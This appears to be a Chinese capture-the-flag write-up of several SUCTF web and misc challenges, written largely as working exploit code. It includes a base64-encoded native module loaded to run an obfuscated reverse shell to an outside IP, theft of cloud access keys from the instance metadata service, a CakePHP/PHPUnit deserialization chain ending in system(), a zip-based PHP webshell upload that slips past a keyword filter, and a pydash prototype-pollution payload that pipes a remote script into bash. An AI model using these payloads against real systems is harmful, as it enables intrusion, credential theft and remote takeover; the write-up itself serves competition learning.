AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwEQAAAAAAAPAQAAAAAAAAAQAAAAAAAAChAAAAAAAAAAwAAAAAAAAAABAAAAAAAAANAAAAAAAAAKwRAAAAAAAAGQAAAAAAAAD4PQAAAAAAABsAAAAAAAAACAAAAAAAAAAaAAAAAAAAAAA+AAAAAAAAHAAAAAAAAAAIAAAAAAAAAPX+/28AAAAAYAIAAAAAAAAFAAAAAAAAAHgDAAAAAAAABgAAAAAAAACIAgAAAAAAAAoAAAAAAAAAtwAAAAAAAAALAAAAAAAAABgAAAAAAAAAAwAAAAAAAADoPwAAAAAAAAIAAAAAAAAAYAAAAAAAAAAUAAAAAAAAAAcAAAAAAAAAFwAAAAAAAACIBQAAAAAAAAcAAAAAAAAAaAQAAAAAAAAIAAAAAAAAACABAAAAAAAACQAAAAAAAAAYAAAAAAAAAP7//28AAAAASAQAAAAAAAD///9vAAAAAAEAAAAAAAAA8P//bwAAAAAwBAAAAAAAAPn//28AAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAANhAAAAAAAABGEAAAAAAAAFYQAAAAAAAAZhAAAAAAAAAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAAAAAAAAOREAAAAAAAABAAAAAAAAABIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKyAAAAAAAAAAAAAAAAAAAP//////////QEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEdDQzogKERlYmlhbiAxMy4yLjAtMTMpIDEzLjIuMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAIADACAEAAAAAAAAAAAAAAAAAAADgAAAAIADACwEAAAAAAAAAAAAAAAAAAAIQAAAAIADADwEAAAAAAAAAAAAAAAAAAANwAAAAEAFwDoQAAAAAAAAAEAAAAAAAAAQwAAAAEAEgAAPgAAAAAAAAAAAAAAAAAAagAAAAIADAAwEQAAAAAAAAAAAAAAAAAAdgAAAAEAEQD4PQAAAAAAAAAAAAAAAAAAlQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAmQAAAAIADAA5EQAAAAAAAFgAAAAAAAAAqQAAAAEAFgBAQAAAAAAAAEAAAAAAAAAAtwAAAAEAFgCAQAAAAAAAAGgAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAwQAAAAEAEAAAIQAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAzwAAAAIADQCsEQAAAAAAAAAAAAAAAAAA1QAAAAEAFgAgQAAAAAAAAAAAAAAAAAAA4gAAAAEAEwAIPgAAAAAAAAAAAAAAAAAA6wAAAAAADwA4IAAAAAAAAAAAAAAAAAAA/gAAAAEAFgDoQAAAAAAAAAAAAAAAAAAACgEAAAEAFQDoPwAAAAAAAAAAAAAAAAAAIAEAAAIACQAAEAAAAAAAAAAAAAAAAAAAJgEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQgEAABIAAAAAAAAAAAAAAAAAAAAAAAAAVQEAABIADACREQAAAAAAABoAAAAAAAAAaAEAABAAAAAAAAAAAAAAAAAAAAAAAAAAeAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAhwEAABAAAAAAAAAAAAAAAAAAAAAAAAAAmAEAABAAAAAAAAAAAAAAAAAAAAAAAAAAqQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAwwEAACIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNfYXV4AGNvbXBsZXRlZC4wAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQAxLmMAZXhlY3V0ZV9jb21tYW5kAE1vZHVsZU1ldGhvZHMATW9kdWxlRGVmAF9fRlJBTUVfRU5EX18AX2ZpbmkAX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1RNQ19FTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2luaXQAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAHN5c3RlbUBHTElCQ18yLjIuNQBQeUluaXRfc2VjdXJlX2V4ZWMAUHlMb25nX0Zyb21Mb25nAF9fZ21vbl9zdGFydF9fAFB5TW9kdWxlX0NyZWF0ZTIAUHlBcmdfUGFyc2VUdXBsZQBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplQEdMSUJDXzIuMi41AAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5wbHQuZ290AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRfYXJyYXkALmZpbmlfYXJyYXkALmR5bmFtaWMALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAAA4AgAAAAAAADgCAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAuAAAA9v//bwIAAAAAAAAAYAIAAAAAAABgAgAAAAAAACQAAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAOAAAAAsAAAACAAAAAAAAAIgCAAAAAAAAiAIAAAAAAADwAAAAAAAAAAQAAAABAAAACAAAAAAAAAAYAAAAAAAAAEAAAAADAAAAAgAAAAAAAAB4AwAAAAAAAHgDAAAAAAAAtwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABIAAAA////bwIAAAAAAAAAMAQAAAAAAAAwBAAAAAAAABQAAAAAAAAAAwAAAAAAAAACAAAAAAAAAAIAAAAAAAAAVQAAAP7//28CAAAAAAAAAEgEAAAAAAAASAQAAAAAAAAgAAAAAAAAAAQAAAABAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAEAAAAAgAAAAAAAABoBAAAAAAAAGgEAAAAAAAAIAEAAAAAAAADAAAAAAAAAAgAAAAAAAAAGAAAAAAAAABuAAAABAAAAEIAAAAAAAAAiAUAAAAAAACIBQAAAAAAAGAAAAAAAAAAAwAAABUAAAAIAAAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAXAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAAAgEAAAAAAAACAQAAAAAAAAUAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB+AAAAAQAAAAYAAAAAAAAAcBAAAAAAAABwEAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAhwAAAAEAAAAGAAAAAAAAAIAQAAAAAAAAgBAAAAAAAAArAQAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAI0AAAABAAAABgAAAAAAAACsEQAAAAAAAKwRAAAAAAAACQAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACTAAAAAQAAAAIAAAAAAAAAACAAAAAAAAAAIAAAAAAAADcAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAmwAAAAEAAAACAAAAAAAAADggAAAAAAAAOCAAAAAAAAAsAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAKkAAAABAAAAAgAAAAAAAABoIAAAAAAAAGggAAAAAAAAnAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACzAAAADgAAAAMAAAAAAAAA+D0AAAAAAAD4LQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAvwAAAA8AAAADAAAAAAAAAAA+AAAAAAAAAC4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAMsAAAAGAAAAAwAAAAAAAAAIPgAAAAAAAAguAAAAAAAAwAEAAAAAAAAEAAAAAAAAAAgAAAAAAAAAEAAAAAAAAACCAAAAAQAAAAMAAAAAAAAAyD8AAAAAAADILwAAAAAAACAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA1AAAAAEAAAADAAAAAAAAAOg/AAAAAAAA6C8AAAAAAAA4AAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAN0AAAABAAAAAwAAAAAAAAAgQAAAAAAAACAwAAAAAAAAyAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAADjAAAACAAAAAMAAAAAAAAA6EAAAAAAAADoMAAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6AAAAAEAAAAwAAAAAAAAAAAAAAAAAAAA6DAAAAAAAAAfAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAgxAAAAAAAAAAMAAAAAAAAaAAAAFwAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAINAAAAAAAAN4BAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA5jUAAAAAAADxAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA=="
output_path = os.path.join('/tmp', 'sec1.so')
base64_to_file(encoded_data, output_path)

使用绝对路径导入so,实现RCE:

import importlib.util
import base64

module_path = "/tmp/sec1.so"
module_name = "secure_exec" 

# 加载模块
spec = importlib.util.spec_from_file_location(module_name, module_path)
secure_exec = importlib.util.module_from_spec(spec)
spec.loader.exec_module(secure_exec)

# 使用模块中的函数

secure_exec.execute_command("bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIwLjIyOS42MC82MDAwIDA+JjE=}|{base64,-d}|{bash,-i}'")

信息搜集了半天,一个一个排查,最终根据该文章发现可以访问内网元数据:
https://www.cnblogs.com/zpchcbd/p/17839539.html

访问http://100.100.100.200/2016-01-01/meta-dataram/security-credentials/oss-root得到aksk等信息

image-20250112193048292

用cf发现存储桶为0,下载不出来数据,又卡半天

image-20250112193147651

又找到了阿里云官方的CLI工具

aliyuncli配置说明

https://www.alibabacloud.com/help/zh/cli/configure-credentials?spm=a2c63.p38356.help-menu-29991.d_3_0.102d465bSJsBpw#title-jfk-lpc-paw

配置信息(REGION信息从上图cf利用工具中就可以得到,也可以访问http://100.100.100.200/latest/meta-data/region-id)

image-20250112194438938

使用ls查找oss

image-20250112194529148

查看所有版本(这一步折磨了好久)

image-20250112194618909

下载旧版本文件

image-20250112195923644

得到flag

image-20250112195932076

SU_POP

题目给了反序列化入口

也就是/ser?ser=base64

再就是分析链子 这种新链子 fix的时候 基本上都只是把链子的开头或者结尾改了 中间的过程是不会改的 所以我们可以去搜一下以前的cakephp的分析链子

https://xz.aliyun.com/t/9995?time__1311=n4%2BxnD0DuDRDcGiGCDyDBqOoWP0K5PDt1QYQhOe4D#toc-11

他这里给的入口点是位于: vendor\symfony\process\Process.php

__destruct方法中 貌似可以直接调用任意类的__call方法或者是调用含有close方法的类的close方法

但是很不幸 有个__wakeup方法限制 直接抛出异常了 不过不影响我们继续看链子

发现他是调用了__call方法 进入call 再到一个sink点 不过都是比较低的版本 sink点已经没了

很显然我们需要找开头和结尾

这里一些找链子的中间过程 十分曲折 我也就不说了 直接说正确的

开头是__destruct全局搜素

发现这里对reason变量进行拼接 且 可以控制 能触发tostring魔术方法

这里可以触发__call方法 因为我们stream可以控制

跟进call方法

这里存在任意类调用

这里提醒一点 由于我们前面调用__call方法是无参的 所以我们最后的sink点也要找个无参数的

最后找到了generate方法 这就是链子的全过程

但中间有几个参数要传递正确 直接给出exp

<?php
namespace React\Promise\Internal;

use React\Promise\PromiseInterface;
use function React\Promise\_checkTypehint;
use function React\Promise\resolve;
use function React\Promise\set_rejection_handler;
use Cake\Http\Response;
class RejectedPromise{
    function set_rejection_handler(?callable $callback)
    {
        static $current = null;
        $previous = $current;
        $current = $callback;

        return $previous;
    }

    public function __construct()
    {

        $this->reason =new Response();
    }
    public function __destruct()
    {
        if ($this->handled) {
            return;
        }

        $handler = static::set_rejection_handler(null);
        if ($handler === null) {
            $message = 'Unhandled promise rejection with ' . $this->reason;

            \error_log($message);
            return;
        }

        try {
            $handler($this->reason);
        } catch (\Throwable $e) {
            \preg_match('/^([^:\s]++)(.*+)$/sm', (string) $e, $match);
            \assert(isset($match[1], $match[2]));
            $message = 'Fatal error: Uncaught ' . $match[1] . ' from unhandled promise rejection handler' . $match[2];

            \error_log($message);
            exit(255);
        }
    }
}


namespace Cake\Http;

use Cake\Core\Configure;
use Cake\Http\Cookie\CookieCollection;
use Cake\Http\Cookie\CookieInterface;
use Cake\Http\Exception\NotFoundException;
use DateTime;
use DateTimeInterface;
use DateTimeZone;
use InvalidArgumentException;
use Laminas\Diactoros\MessageTrait;
use Laminas\Diactoros\Stream;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\StreamInterface;
use SplFileInfo;
use Stringable;
use function Cake\Core\env;
use function Cake\I18n\__d;
use Cake\ORM\Table;

class Response {
    public function __construct()
    {
        $this->stream =new Table();
    }
    public function __toString()
    {
        $this->stream->rewind();

        return $this->stream->getContents();
    }
}


namespace Cake\ORM;
use PHPUnit\Framework\MockObject\Generator\MockClass;
use ArrayObject;
use BadMethodCallException;
use Cake\Collection\CollectionInterface;
use Cake\Core\App;
use Cake\Core\Configure;
use Cake\Core\Exception\CakeException;
use Cake\Database\Connection;
use Cake\Database\Exception\DatabaseException;
use Cake\Database\Expression\QueryExpression;
use Cake\Database\Schema\TableSchemaInterface;
use Cake\Database\TypeFactory;
use Cake\Datasource\ConnectionManager;
use Cake\Datasource\EntityInterface;
use Cake\Datasource\Exception\InvalidPrimaryKeyException;
use Cake\Datasource\RepositoryInterface;
use Cake\Datasource\RulesAwareTrait;
use Cake\Event\EventDispatcherInterface;
use Cake\Event\EventDispatcherTrait;
use Cake\Event\EventListenerInterface;
use Cake\Event\EventManager;
use Cake\ORM\Association\BelongsTo;
use Cake\ORM\Association\BelongsToMany;
use Cake\ORM\Association\HasMany;
use Cake\ORM\Association\HasOne;
use Cake\ORM\Exception\MissingEntityException;
use Cake\ORM\Exception\PersistenceFailedException;
use Cake\ORM\Exception\RolledbackTransactionException;
use Cake\ORM\Query\DeleteQuery;
use Cake\ORM\Query\InsertQuery;
use Cake\ORM\Query\QueryFactory;
use Cake\ORM\Query\SelectQuery;
use Cake\ORM\Query\UpdateQuery;
use Cake\ORM\Rule\IsUnique;
use Cake\Utility\Inflector;
use Cake\Validation\ValidatorAwareInterface;
use Cake\Validation\ValidatorAwareTrait;
use Closure;
use Exception;
use InvalidArgumentException;
use Psr\SimpleCache\CacheInterface;
use ReflectionFunction;
use ReflectionNamedType;
use function Cake\Core\deprecationWarning;
use function Cake\Core\namespaceSplit;
class Table
{

    public function __construct()
    {

        $this->_behaviors = new BehaviorRegistry();
    }



    public function __call(string $method, array $args)
    {

        //method=close arg=null
        var_dump($this->_behaviors);
        if ($this->_behaviors->hasMethod($method)) {
            return $this->_behaviors->call($method, $args);

        }
    }
}
class ObjectRegistry{}
class BehaviorRegistry extends ObjectRegistry{
    public function hasMethod(string $method): bool
    {
        $method = strtolower($method);

        return isset($this->_methodMap[$method]);
    }
    public function has(string $name): bool
    {
        return isset($this->_loaded[$name]);
    }
    public function __construct()
    {
        $this->_methodMap=["rewind"=>array("z","generate")];
        $this->_loaded=["z"=>new MockClass()];
    }

    public function call(string $method, array $args = [])
    {
        //method=close arg=null
        $method = strtolower($method);
        if ($this->hasMethod($method) && $this->has($this->_methodMap[$method][0])) {
            [$behavior, $callMethod] = $this->_methodMap[$method];

            return $this->_loaded[$behavior]->{$callMethod}(...$args);
        }
    }
}



namespace PHPUnit\Framework\MockObject\Generator;

use function call_user_func;
use function class_exists;
use PHPUnit\Framework\MockObject\ConfigurableMethod;
use function Symfony\Component\String\s;

final class MockClass
{
    public function __construct(){
        $this->classCode="system(\$_GET[1]);";
        $this->mockName="test";
    }
    public function generate()
    {
        if (!class_exists($this->mockName, false)) {
            eval($this->classCode);

            call_user_func(
                [
                    $this->mockName,
                    '__phpunit_initConfigurableMethods',
                ],
                ...$this->configurableMethods,
            );
        }

        return $this->mockName;
    }
}
namespace React\Promise\Internal;
$a=new RejectedPromise();
echo base64_encode(serialize($a));

flag在根目录下 flag.txt

suid find提权

SU_photogallery

通过php -S开起的内置WEB服务器存在源码泄露漏洞,可以将PHP文件作为静态文件直接输出源码

具体参考这篇文章 https://www.cnblogs.com/Kawakaze777/p/17799235.html 读到的unzip.php的源码为

<?php
error_reporting(0);

function get_extension($filename){
    return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
    $filePath = $path . DIRECTORY_SEPARATOR . $filename;
    if (is_file($filePath)) {
        $extension = strtolower(get_extension($filename));

        if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
            if (!unlink($filePath)) {
                // echo "Fail to delete file: $filename\n";
                return false;
            }
            else{
                // echo "This file format is not supported:$extension\n";
                return false;
            }
        }
        else{
            return true;
        }
    }
    else{
        // echo "nofile";
        return false;
    }
}
function file_rename ($path,$file){
    $randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
    $oldPath = $path . DIRECTORY_SEPARATOR . $file;
    $newPath = $path . DIRECTORY_SEPARATOR . $randomName;

    if (!rename($oldPath, $newPath)) {
        unlink($path . DIRECTORY_SEPARATOR . $file);
        // echo "Fail to rename file: $file\n";
        return false;
    }
    else{
        return true;
    }
}

function move_file($path,$basePath){
    foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
        $destination = $basePath . DIRECTORY_SEPARATOR . basename($file);
        if (!rename($file, $destination)){
            // echo "Fail to rename file: $file\n";
            return false;
        }
    }
    return true;
}


function check_base($fileContent){
    $keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
    $base64_keywords = [];
    foreach ($keywords as $keyword) {
        $base64_keywords[] = base64_encode($keyword);
    }
    foreach ($base64_keywords as $base64_keyword) {
        if (strpos($fileContent, $base64_keyword)!== false) {
            return true;

        }
        else{
            return false;

        }
    }
}

function check_content($zip){
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $fileInfo = $zip->statIndex($i);
        $fileName = $fileInfo['name'];
        if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
            return false;
        }
        // echo "Checking file: $fileName\n";
        $fileContent = $zip->getFromName($fileName);


        if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
            // echo "Don't hack me!\n";                return false;
        }
        else {
            continue;
        }
    }
    return true;
}

function unzip($zipname, $basePath) {
    $zip = new ZipArchive;

    if (!file_exists($zipname)) {
        // echo "Zip file does not exist";
        return "zip_not_found";
    }
    if (!$zip->open($zipname)) {
        // echo "Fail to open zip file";
        return "zip_open_failed";
    }
    if (!check_content($zip)) {
        return "malicious_content_detected";
    }
    $randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
    $path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
    if (!mkdir($path, 0777, true)) {
        // echo "Fail to create directory";
        $zip->close();
        return "mkdir_failed";
    }
    if (!$zip->extractTo($path)) {
        // echo "Fail to extract zip file";
        $zip->close();
    }
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $fileInfo = $zip->statIndex($i);
        $fileName = $fileInfo['name'];
        if (!check_extension($fileName, $path)) {
            // echo "Unsupported file extension";
            continue;
        }
        if (!file_rename($path, $fileName)) {
            // echo "File rename failed";
            continue;
        }
    }
    if (!move_file($path, $basePath)) {
        $zip->close();
        // echo "Fail to move file";
        return "move_failed";
    }
    rmdir($path);
    $zip->close();
    return true;
}


$uploadDir = DIR . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0777, true);
}

if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $uploadedFile = $_FILES['file'];
    $zipname = $uploadedFile['tmp_name'];
    $path = $uploadDir;

    $result = unzip($zipname, $path);
    if ($result === true) {
        header("Location: index.html?status=success");
        exit();
    } else {
        header("Location: index.html?status=$result");
        exit();
    }
} else {
    header("Location: index.html?status=file_error");
    exit();
}

代码挺多 可以让ai分析一下

  1. 使用使用 unzip 函数处理压缩包
  2. 使用 check_extension() 确保只允许图片文件(jpg、jpeg、png、gif)解压。不支持的文件会直接删除。
  3. 使用 check_base() 检查文件内容是否包含恶意关键字的 Base64 编码版本。在 check_content() 中,通过正则表达式检查文件内容是否包含恶意关键字(如 eval、shell_exec、exec 等)。
  4. 使用正则表达式匹配路径
  5. 解压的文件会通过 MD5 随机重命名,避免覆盖已存在文件,同时防止上传的恶意脚本直接被访问。

一开始的思路是条件竞争加爆破 后面给了Hint 发现思路错了 去信息搜集

首先看道p牛的文章https://www.leavesongs.com/PENETRATION/after-phpcms-upload-vul.html

我们可以让他解压出错 部分解压

后面继续找让他出错的办法 找到了这篇文章https://ucasers.cn/zip%E5%9C%A8CTF-web%E6%96%B9%E5%90%91%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E7%94%A8%E6%B3%95/#title-9

然后自己改一下 绕过他的waf

import zipfile
import io

mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
    zf.writestr('pgyw.php', b'@<?php ("sy"."stem")($_GET[1]);?>')
    zf.writestr('A'*5000, b'AAAAA')

with open("shell.zip", "wb") as f:
    f.write(mf.getvalue())

访问 /upload/suimages/pgyw.php 执行命令

这里也对里面的疑点 做一点自己的解释 首先由于解压文件出错 会进入if 导致zip close 这里也就进不去

check_extension函数 所以我们上传的压缩包里面有php文件是不会被check到

其次就是随机路径名 经过move_file函数其实就已经变回来了 所以也就不存在路径爆破的问题

SU_blog

首先就是注册一个admin用户 然后登录 发现他就是比普通用户多几个功能 也不需要时间戳伪造 然后我伪造也很简单那 就是写一个时间戳范围md5加密后批量进行解密

登录后有个查看文章的接口并且article?file=articles/article1.txt

双写读到源码

下面分析

pydash的set_存在原型链污染 https://furina.org.cn/2023/12/18/prototype-pollution-in-pydash-ctf/

找到了这篇文章

这里我们需要理解一下 漏洞触发的原理是 第一次模板渲染的时候 所以我们后面写个脚本 不断访问 然后就是需要绕过key的waf 第一个是__Loader__的过滤 一开始尝试了各种的拼接什么的都不行 后面继续查资料

想到了用__spec__来用 不过这里是模块

其实你本地打印或者

可以看见这些 我们可以拿time模块来做

{"key":"__init__.__globals__.time.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0","value":"*;import os;os.system('curl http://8.137.112.104/1.sh | sh');#"}

本地的时候需要创建模板文件 访问才有效

其中1.sh的内容是反弹shell的payload

然后写个脚本连续请求 两分钟刷新一次的靶机

import requests
import time

# 设置目标URL和其他HTTP头信息
url = 'http://27.25.151.48:10003/Admin?pass=SUers'
headers = {
    'Content-Type': 'application/json',

}

# 请求体中的JSON数据
data = {
    "key": "__init__.__globals__.time.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0",
    "value": "*;import os;os.system('curl http://8.137.112.104/1.sh |bash');#"
}

# 循环发送请求
def send_requests_loop(interval):
    while True:

            requests.post(url, headers=headers, json=data)
            requests.get(url)
            time.sleep(interval)

if __name__ == '__main__':
    # 开始循环发送请求,间隔时间为1秒
    send_requests_loop(0.3)

Misc

SU_Checkin

发现部分密码SePassWordLen23SUCT

这里也有个提示密码长度为23 上面的有19个 再加个F 因为SUCTF 所以只剩下三个需要爆破

在看流量包 http跟踪50

发现密文

发现hint 然后去搜发现是一种加密方式

然后找到这篇文章https://blog.csdn.net/LYambition/article/details/106000082

Jasypt这个库可以直接解密 然后密码就是刚刚上面说的爆破三位 让gpt写个脚本

package com.example;

import org.jasypt.encryption.pbe.StandardPBEStringEncryptor;
import org.jasypt.encryption.pbe.config.EnvironmentStringPBEConfig;

/**
 * 把密文放到配置文件中的时候要注意:
 * ENC(密文)
 * @author LeeYoung
 */
public class Main {

    private static final String basePassword = "SePassWordLen23SUCTF"; // 基础口令
    private static final String algorithm = "PBEWithMD5AndDES";
    private static final String ciphertext = "ElV+bGCnJYHVR8m23GLhprTGY0gHi/tNXBkGBtQusB/zs0uIHHoXMJoYd6oSOoKuFWmAHYrxkbg=";

    public static void main(String[] args) {
        try {
            // 尝试所有可能的三位字符组合
            for (char c1 : getCharacterSet()) {
                for (char c2 : getCharacterSet()) {
                    for (char c3 : getCharacterSet()) {
